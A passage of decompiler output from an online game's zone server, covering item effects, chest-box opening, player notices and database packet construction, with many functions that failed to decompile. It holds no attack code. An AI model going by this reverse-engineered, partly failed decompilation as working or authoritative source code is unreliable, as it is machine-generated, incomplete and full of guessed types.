AbnormalStateDictionary::AbState::AbStateStr *v6; // edi@8 int v7; // ebp@11 int v8; // [sp-8h] [bp-28h]@5 signed int v9; // [sp-4h] [bp-24h]@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( effect ) { case 0: (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 1232))(v4, value); break; case 1: (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 1256))(v4, value); break; case 7: (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1232))(v4, 99999); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1256))(v4, 99999); break; case 8: ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 33, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 34, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 35, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 21, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 22, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 23, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 27, value); v9 = value; v8 = 28; goto LABEL_15; case 2: v9 = value; v8 = 33; goto LABEL_15; case 3: v9 = value; v8 = 34; goto LABEL_15; case 4: v5 = *(_DWORD *)(*(_DWORD *)funcstr + 82); v6 = AbnormalStateDictionary::AbState::as_FromIndex( &dic_abstate, *(AbnormalStateInfo::ABSTATEINDEX *)(*(_DWORD *)funcstr + 82)); if ( v6 != 0 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, _DWORD, _DWORD, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v4 + 1528))( v4, v4, *(_DWORD *)(*(_DWORD *)funcstr + 82), value, v6, clockwatch.cw_CurrTick, 0, -1, 0, 11) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v4, v6->index->AbStataIndex); v7 = (int)&v6->subabstate[value]; if ( *(_DWORD *)v7 ) { (*(void (__thiscall **)(void *, AbnormalStateInfo::ABSTATEINDEX, _DWORD, signed int))(*(_DWORD *)v4 + 992))( v4, v6->index->AbStataIndex, *(_DWORD *)(*(_DWORD *)v7 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v4, v6->index->AbStataIndex, *(_DWORD *)(*(_DWORD *)v7 + 43), value); } } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2368))(v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ItemEffect : Invalid abstate", v5); } break; case 5: ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 35, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 50, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 51, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 52, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 53, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 54, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 55, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 56, value); v9 = value; v8 = 57; LABEL_15: ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, v8, v9); break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemEffect"); } //----- (00525CA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Notice(void *this, int str) { void *v2; // edi@1 char *v3; // edx@1 int v4; // ecx@1 char *v5; // eax@1 char *v6; // esi@1 int v7; // esi@1 char v8; // bl@2 char v9; // si@3 char v10; // cl@4 char v11; // al@5 int v12; // esi@5 int v13; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Notice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Notice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v4 = str; v5 = gpp.pp_Buffer + 3; v6 = gpp.pp_Buffer + 3; *(_WORD *)gpp.pp_Buffer = 8209; v7 = (int)&v6[-str]; do { v8 = *(_BYTE *)v4; *(_BYTE *)(v7 + v4) = *(_BYTE *)v4; ++v4; } while ( v8 ); v9 = (_BYTE)v5 + 1; do v10 = *v5++; while ( v10 ); v11 = (_BYTE)v5 - v9; v3[2] = v11; v12 = (unsigned __int8)v11 + 3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, (unsigned __int8)v11 + 3) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_Notice : Packet Too Long", v12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Notice"); } //----- (00525DB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Cancel(void *this, int inven) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_silverwing_Cancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_silverwing_Cancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_silverwing_Cancel"); } //----- (00525E50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_AttrChange2DB(void *this, int iic, int iac, int iti, int inven) { void *v5; // ebx@1 char *v6; // edi@1 int v7; // ebp@1 int v8; // esi@1 int v9; // edi@1 int v10; // eax@1 ZoneBaseSession *v11; // eax@2 int itia; // [sp+38h] [bp+Ch]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AttrChange2DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_AttrChange2DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v6 + 4) = *((_WORD *)v5 + 28886); *((_WORD *)v6 + 1) = *((_WORD *)v5 + 2); v7 = iti; *((_DWORD *)v6 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 836))(v5); *(_DWORD *)(v6 + 10) = *(_DWORD *)iti; *(_DWORD *)(v6 + 14) = *(_DWORD *)(iti + 4); v6 += 18; memcpy(v6, (const void *)(iti + 8), 0x64u); v6 += 100; *(_WORD *)v6 = *(_WORD *)(iti + 108); v6[2] = *(_BYTE *)(iti + 110); v8 = iac; v9 = iti + 10; (*(void (__thiscall **)(int, int))(*(_DWORD *)iac + 8))(iac, iti + 10); itia = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 8))(v8, iti + 10) + 20; v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 8))(v8, v9); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v10 + 20) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_AttrChange2DB : Packet Too Long", itia); } LOWORD(v11) = *((_WORD *)v5 + 28886); (*(void (__thiscall **)(char *, ZoneBaseSession *, int, int, int, int))(*((_DWORD *)v5 + 14442) + 48))( (char *)v5 + 57768, v11, iic, v7, inven, inven); ++*((_WORD *)v5 + 28886); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AttrChange2DB"); } //----- (00525FC0) -------------------------------------------------------- #error "525FC0: undefined or illegal type '#331' (funcsize=115)" //----- (00526170) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast(void *this, int inven) { void *v2; // esi@1 signed int v3; // edi@1 int v4; // edx@1 int v5; // ST14_4@1 int v6; // eax@1 int v7; // ebp@1 unsigned __int16 v8; // ax@1 int v9; // eax@3 MapInfo *v10; // edi@4 unsigned int v11; // eax@7 char *v12; // eax@7 unsigned int v13; // eax@7 char *v14; // eax@7 int v15; // edx@7 char linkstruct; // [sp+14h] [bp-78h]@7 char v17; // [sp+28h] [bp-64h]@7 char v18; // [sp+49h] [bp-43h]@7 int v19; // [sp+6Ah] [bp-22h]@7 int v20; // [sp+6Eh] [bp-1Eh]@7 unsigned int v21; // [sp+7Ch] [bp-10h]@8 int v22; // [sp+88h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *((_DWORD *)v2 + 8892); v5 = *(_WORD *)inven & 0x3FF; v22 = 0; v6 = (*(int (__thiscall **)(char *, int))v4)((char *)v2 + 35568, v5); v7 = v6; v8 = *(_WORD *)(v6 + 8); if ( v8 == unk_12510DB8 ) { v9 = *(_WORD *)(v7 + 11); if ( v9 < mapdatabox.mdb_maxmapid ) { v10 = mapdatabox.mdb_index[v9]; if ( v10 ) { v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_DWORD *)v12 = *(_DWORD *)&v10->MapName.n3_name[0]; *((_DWORD *)v12 + 1) = *(_DWORD *)&v10->MapName.n3_name[4]; *((_DWORD *)v12 + 2) = *(_DWORD *)&v10->MapName.n3_name[8]; v12[12] = 0; strncpy(&v17, v12, 0xCu); v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)&v10->MapName.n3_name[0]; *((_DWORD *)v14 + 1) = *(_DWORD *)&v10->MapName.n3_name[4]; *((_DWORD *)v14 + 2) = *(_DWORD *)&v10->MapName.n3_name[8]; v14[12] = 0; strncpy(&v18, v14, 0xCu); v15 = *(_DWORD *)v2; v19 = *(_DWORD *)(v7 + 13); v20 = *(_DWORD *)(v7 + 17); (*(void (__thiscall **)(void *, signed int, signed int))(v15 + 772))(v2, 12, 26); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); (*(void (__thiscall **)(void *, char *, signed int, signed int, signed int))(*(_DWORD *)v2 + 1472))( v2, &linkstruct, 6, 9, 10); v22 = -1; goto LABEL_8; } v3 = -1; } v22 = v3; } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_silverwing_Setloc : wrong item", v8); v22 = -1; } LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast"); __security_check_cookie(v21); } //----- (00526350) -------------------------------------------------------- #error "526350: undefined or illegal type '#331' (funcsize=86)" //----- (00526480) -------------------------------------------------------- void __thiscall UseEffect::UseItemNoEffect::UseItemNoEffect(UseEffect::UseItemNoEffect *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemNoEffect::_vftable_; } // 5D185C: using guessed type int (__stdcall *UseEffect__UseItemNoEffect___vftable_)(int, int itm); //----- (00526490) -------------------------------------------------------- #error "526490: undefined or illegal type '#440' (funcsize=46)" //----- (00526560) -------------------------------------------------------- #error "526560: undefined or illegal type '#440' (funcsize=62)" //----- (00526670) -------------------------------------------------------- #error "526670: undefined or illegal type '#440' (funcsize=210)" //----- (00526920) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemByTable::uib_CanUseItem(UseEffect::UseItemByTable *this, #440 *a2, ItemTotalInformation *itm) { unsigned __int16 v3; // ax@1 UseEffect::UIE_Functions *v4; // esi@2 signed int v5; // ebp@4 int v6; // ebp@4 unsigned __int16 result; // ax@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemByTable::uib_CanUseItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemByTable::uib_CanUseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = itm->iti_itemstruct.itemid; if ( v3 < useditemeffect.uie_MaxItemID ) v4 = &useditemeffect.uie_FuncStruct[v3]; else v4 = useditemeffect.uie_FuncStruct; v5 = ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable((void *)a2, v4->useeffectstruct->UseEffectC); v6 = ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable((void *)a2, v4->useeffectstruct->UseEffectB) + v5; if ( ShineObjectClass::ShinePlayer::sp_CanUseItemCheck_ByTable((void *)a2, v4->useeffectstruct->UseEffectA) + v6 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemByTable::uib_CanUseItem"); result = 1792; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemByTable::uib_CanUseItem"); result = 1811; } return result; } //----- (00526A40) -------------------------------------------------------- #error "526A40: undefined or illegal type '#440' (funcsize=266)" //----- (00526EB0) -------------------------------------------------------- #error "526EB0: undefined or illegal type '#440' (funcsize=112)" //----- (00527050) -------------------------------------------------------- #error "527050: undefined or illegal type '#440' (funcsize=126)" //----- (00527210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChestBoxOpen(void *this, __int16 slot, int itm) { void *v3; // edi@1 char *v4; // esi@1 ZoneBaseSession *v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13421; *((_WORD *)v4 + 1) = *((_WORD *)v3 + 2); *((_DWORD *)v4 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_DWORD *)v4 + 2) = *(_DWORD *)itm; *((_DWORD *)v4 + 3) = *(_DWORD *)(itm + 4); *((_WORD *)v4 + 8) = slot & 0x3FF | 0x2400; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v5 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v5); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_uie_ItemChest_Direct : Packet Too Long", 18); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChestBoxOpen"); } //----- (00527320) -------------------------------------------------------- #error "527320: undefined or illegal type '#331' (funcsize=48)" //----- (005273F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck(void *this, int ack) { void *v2; // esi@1 int v3; // edx@1 __int16 v4; // bx@1 int v5; // ebx@1 int v6; // edi@1 __int16 v7; // ax@4 char *v8; // ebp@8 int v9; // edi@10 int v10; // edi@11 const char *v11; // eax@11 int v12; // edx@12 int v13; // eax@12 char v14; // cl@12 int v15; // ebx@12 int v16; // edi@13 __int16 v17; // ax@15 int v18; // ecx@15 int v19; // edx@15 int v20; // edx@15 void *v21; // eax@15 int v22; // eax@15 void *v23; // ecx@15 int v24; // eax@16 int v25; // edx@16 int v26; // ST1C_4@18 char v27; // al@18 ZoneBaseSession *v28; // eax@19 int v29; // edi@22 const char *v30; // eax@22 signed int v31; // [sp+18h] [bp-CCh]@22 signed int v32; // [sp+1Ch] [bp-C8h]@22 int v33; // [sp+30h] [bp-B4h]@10 ITEM_INVEN invenloc; // [sp+34h] [bp-B0h]@12 FunctionEntarance _; // [sp+38h] [bp-ACh]@1 int i; // [sp+3Ch] [bp-A8h]@8 ITEM_INVEN ivn; // [sp+40h] [bp-A4h]@15 ItemBoxIterEmpty *itemiter; // [sp+44h] [bp-A0h]@10 char *v39; // [sp+48h] [bp-9Ch]@10 int v40; // [sp+4Ch] [bp-98h]@10 void *iic; // [sp+50h] [bp-94h]@15 ItemBoxIterEmpty itemitertmp; // [sp+54h] [bp-90h]@10 int iti; // [sp+64h] [bp-80h]@15 int v44; // [sp+68h] [bp-7Ch]@15 unsigned int v45; // [sp+D4h] [bp-10h]@28 int v46; // [sp+E0h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8892); v4 = *(_WORD *)(ack + 14); v46 = 0; v5 = v4 & 0x3FF; v6 = (*(int (__thiscall **)(char *, int))v3)((char *)v2 + 35568, v5); if ( !v6 || *(_DWORD *)v6 != *(_DWORD *)(ack + 6) || *(_DWORD *)(v6 + 4) != *(_DWORD *)(ack + 10) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1814, 9); goto LABEL_27; } v7 = *(_WORD *)(ack + 16); if ( v7 == 2486 || v7 == 2487 ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1814, 9); ShineObjectClass::ShinePlayer::sp_DestroyItem(v2, *((_WORD *)v2 + 2), v6, ack + 14); LABEL_27: --funcallanalizer.fca_stackpoint; v46 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck"); goto LABEL_28; } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( *(_BYTE *)(v6 + 10) & 0xF0 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); AssertClass::ac_AssertFail( &shineassert, "ShinePlayer::sp_uie_ItemChest_Direct : Invalid Chest flag", (unsigned int)*(_BYTE *)(v6 + 10) >> 4); } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13392; *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_DWORD *)v8 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v8 + 14) = *(_DWORD *)v6; *(_DWORD *)(v8 + 18) = *(_DWORD *)(v6 + 4); v8[22] = 0; *((_WORD *)v8 + 6) = *((_WORD *)v2 + 28886); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); i = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v2 + 8892))((char *)v2 + 35568, v5); if ( AssertClass::operator__(&shineassert, i != 0, "ShinePlayer::sp_uie_ItemChest_Direct : Invalid cell", 0) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1795, 9); } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); ItemBoxIterEmpty::ItemBoxIterEmpty( &itemitertmp, (ItemBag *)v2 + 8892, (ChargedEffectContainer *)((char *)v2 + 91688)); v9 = (int)((char *)v2 + 57768); LOBYTE(v46) = 1; itemiter = &itemitertmp; v33 = (int)((char *)v2 + 57768); v39 = (char *)v2 + 57768; v40 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&itemiter) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v12 = *(_DWORD *)v9; v13 = *((_WORD *)v2 + 28886); invenloc.Inven = v5 & 0x3FF | 0x2400; (*(void (__thiscall **)(char *, int, int, ITEM_INVEN *, ITEM_INVEN *))(v12 + 40))( (char *)v2 + 57768, v13, i, &invenloc, &invenloc); v14 = *(_BYTE *)(ack + 18); v15 = ack + 19; i = 0; if ( v14 ) { v16 = (int)(v8 + 31); while ( 1 ) { if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&itemiter) ) { v29 = *(_DWORD *)v2; v30 = ShineScript::ss_String(&shinescriptetc, "PresentBoxInvenFull"); (*(void (__thiscall **)(void *, const char *))(v29 + 1836))(v2, v30); v32 = 9; v31 = 1812; v23 = v2; goto LABEL_23; } v17 = *(_WORD *)v16 & 0x3FF | 0x2400; *(_WORD *)v16 = v17; *(_WORD *)v16 = v17 ^ (v17 ^ LOWORD(itemiter->baseclass_0.ibi_finger)) & 0x3FF; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); ItemTotalInformation::iti_fill2struct_whole( (ItemTotalInformation *)&iti, &itmattcontainer.iacc_default, 0xFFFFu, (char *)(v15 + 3)); v18 = *(_BYTE *)v15; v19 = iti; *(_DWORD *)(v16 - 4) = v44; *(_DWORD *)(v16 - 8) = v19; v15 += v18 + 1; ++v8[22]; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); ivn.Inven = ivn.Inven & 0x3FF | 0x2400; v20 = *((_DWORD *)v2 + 8892); ivn.Inven ^= (ivn.Inven ^ LOWORD(itemiter->baseclass_0.ibi_finger)) & 0x3FF; v21 = (void *)(*(int (__thiscall **)(char *, int))v20)((char *)v2 + 35568, itemiter->baseclass_0.ibi_finger); iic = v21; v22 = AssertClass::operator__( &shineassert, v21 != 0, "ShinePlayer::sp_uie_ItemChest_Direct : Invalid cell", 0); v23 = v2; if ( v22 ) break; v24 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); LOWORD(v24) = *((_WORD *)v2 + 28886); (*(void (__thiscall **)(int, int, void *, int *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v33 + 48))( v33, v24, iic, &iti, &ivn, &ivn); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v25 = *(_BYTE *)(ack + 18); v16 += 10; ++i; if ( i >= v25 ) { v9 = (int)((char *)v2 + 57768); goto LABEL_18; } } v32 = 9; v31 = 1814; LABEL_23: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v23, v31, v32); (*(void (__stdcall **)(_DWORD))(*(_DWORD *)v33 + 32))(*((_WORD *)v2 + 28886)); } else { LABEL_18: ++*(_WORD *)(v9 + 4); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v26 = 10 * (unsigned __int8)v8[22] + 23; v27 = ProtocolPacket::pp_SetPacketLen(&gpp, 10 * (unsigned __int8)v8[22] + 23); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v27, "ShinePlayer::sp_uie_ItemChest_Direct : Packet Too Long", v26) ) { v28 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v28); } } } else { v10 = *(_DWORD *)v2; v11 = ShineScript::ss_String(&shinescriptetc, "PresentBoxInvenFull"); (*(void (__thiscall **)(void *, const char *))(v10 + 1836))(v2, v11); (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v2 + 2240))(v2, 1812, 9); } itemitertmp.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } } v46 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_28: __security_check_cookie(v45); } // 4D7490: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (005278F0) -------------------------------------------------------- char __thiscall UseEffect::UseItemMiniHouse::uib_DirectUse(UseEffect::UseItemMiniHouse *this, #440 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "UseEffect::UseItemMiniHouse::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemMiniHouse::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_Move2MiniHouse((void *)a2, slot, (int)itm); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemMiniHouse::uib_DirectUse"); return 1; } //----- (00527990) -------------------------------------------------------- #error "527990: undefined or illegal type '#440' (funcsize=33)" //----- (00527A30) -------------------------------------------------------- #error "527A30: undefined or illegal type '#440' (funcsize=46)" //----- (00527B10) -------------------------------------------------------- char __thiscall UseEffect::UseItemChest::uib_DirectUse(UseEffect::UseItemChest *this, #440 *a2, int slot, ItemTotalInformation *itm) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemChest::uib_DirectUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemChest::uib_DirectUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ChestBoxOpen((void *)a2, slot, (int)itm); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemChest::uib_DirectUse"); return 1; } //----- (00527BB0) -------------------------------------------------------- #error "527BB0: undefined or illegal type '#440' (funcsize=41)" //----- (00527C70) -------------------------------------------------------- #error "527C70: undefined or illegal type '#440' (funcsize=59)" //----- (00527D70) -------------------------------------------------------- #error "527D70: undefined or illegal type '#440' (funcsize=45)" //----- (00527E30) -------------------------------------------------------- #error "527E30: undefined or illegal type '#440' (funcsize=40)" //----- (00527EF0) -------------------------------------------------------- #error "527EF0: undefined or illegal type '#440' (funcsize=40)" //----- (00527FB0) -------------------------------------------------------- #error "527FB0: undefined or illegal type '#440' (funcsize=45)" //----- (00528080) -------------------------------------------------------- #error "528080: undefined or illegal type '#331' (funcsize=83)" //----- (005281C0) -------------------------------------------------------- #error "5281C0: undefined or illegal type '#331' (funcsize=103)" //----- (00528350) -------------------------------------------------------- #error "528350: undefined or illegal type '#331' (funcsize=63)" //----- (00528440) -------------------------------------------------------- #error "528440: undefined or illegal type '#331' (funcsize=36)" //----- (005284F0) -------------------------------------------------------- void __thiscall UseEffect::UseItemItemPackage::uib_Effect(UseEffect::UseItemItemPackage *this, #331 *a2, ItemTotalInformation *itm, UseEffect::UIE_Functions *funcstr) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UseEffect::UseItemItemPackage::uib_Effect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UseEffect::UseItemItemPackage::uib_Effect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UseEffect::UseItemItemPackage::uib_Effect"); } //----- (00528540) -------------------------------------------------------- #error "528540: undefined or illegal type '#331' (funcsize=28)" //----- (005285E0) -------------------------------------------------------- #error "5285E0: undefined or illegal type '#331' (funcsize=28)" //----- (00528680) -------------------------------------------------------- #error "528680: undefined or illegal type '#331' (funcsize=30)" //----- (00528720) -------------------------------------------------------- #error "528720: undefined or illegal type '#331' (funcsize=31)" //----- (005287C0) -------------------------------------------------------- #error "5287C0: undefined or illegal type '#331' (funcsize=28)" //----- (00528860) -------------------------------------------------------- #error "528860: undefined or illegal type '#331' (funcsize=28)" //----- (00528900) -------------------------------------------------------- #error "528900: undefined or illegal type '#440' (funcsize=284)" //----- (00528CB0) -------------------------------------------------------- #error "528CB0: undefined or illegal type '#440' (funcsize=51)" //----- (00528D90) -------------------------------------------------------- #error "528D90: undefined or illegal type '#440' (funcsize=74)" //----- 